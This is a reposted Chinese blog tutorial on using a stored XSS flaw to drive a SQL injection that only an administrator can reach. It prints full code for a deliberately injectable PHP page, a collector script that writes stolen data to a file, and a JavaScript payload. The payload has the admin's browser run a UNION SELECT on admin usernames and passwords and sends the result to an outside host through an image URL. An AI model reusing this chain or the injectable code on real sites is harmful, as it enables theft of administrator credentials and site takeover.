好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

利用xss执行sql注入 - 网站安全 - 自学php

昨天看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms 漏洞 还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1.15测试,其他版本都没有测试成功! 于是乎我只有假想下一个极端环境: 1.前台有且只有一个xss漏洞(不能获取管理员cookie) 2.后台有且只有一个sql注入漏洞(注入漏洞文件只有管理员可以访问) 3.注入获得管理员密码可解密 4.除以上无其他任何漏洞(包括后台getwebshell) 其实我就是想说,我们只可以利用这个xss执行注入!   模拟注入漏洞代码 sqli.php 01 <?php 02  @error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);//错误忽略 03  $con = mysql_connect("localhost","root",""); 04  if(!$con) {die('Could not connect: ' . mysql_error());} 05  mysql_select_db("test",$con); 06  $id = $_GET['xss']; 07  $sql = "select id,realname from test where id="."$id"; 08  $view = mysql_query($sql); 09  $row = mysql_fetch_array($view); 10  echo $row[id]."<br />"; 11  echo $row[realname]."<br />"; 12 ?>   mysql 数据库 : 1 database:test 2 table:test、admin 3 column:test.id、test.realname 4              admin.id、admin.username、admin.password   get.php(获取的注入后数据截取) 1 <?php 2  $file = fopen("data.txt","a"); 3  fwrite($file,$_GET['get']); 4  fclose($file); 5 ?>   xsssqli.js(payload) 01 function addLoadEvent(func)//窗口打开加载多个函数 02 { 03  var oldfunc=window.onload; //页面打开是加载方法 04     if(typeof(window.onload)!="function") 05     { 06      window.onload=func; 07     } 08     else 09     { 10      window.onload=function() 11      { 12       oldfunc(); 13       func(); 14       } 15      } 16 } 17 function get_xsssqli() 18 { 19  var url = "http://www.2cto.com /xss/sqli.php?xss=1%20and%201=2%20union%20select%20username,password%20from%20admin";

20  var ajax = null; 21  if(window.XMLHttpRequest) 22  { 23   ajax = new XMLHttpRequest(); 24  } 25  else if(window.ActiveXObject) 26  { 27   ajax = new ActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本 28  } 29  else 30  { 31   return; 32  } 33  ajax.open("GET", url, true); 34  ajax.send(null); 35  ajax.onreadystatechange = function() 36  { 37   if(ajax.readyState == 4 && ajax.status == 200) 38   { 39    var img = document.createElement("img"); 40    img.src = "http://www.2cto.com /xss/get.php?get="+ajax.responseText;

41    document.body.appendChild(img); 42   } 43  } 44 } 45 addLoadEvent(get_xsssqli);   模拟xss漏洞 1 < html > 2  <head> 3   <title>use xss to sqli</title> 4  </head> 5  <body> 6  <script src=http://127.0.0.1/xss/get.js ></script> 7  </body> 8 </html>   最后成功得到数据:    

当然你也可以写个正则截获指定数据! 作者:L.N.博客  http://lanu.sinaapp.com/htmlcssjisxml/112.html

 

查看更多关于利用xss执行sql注入 - 网站安全 - 自学php的详细内容...

  阅读:42次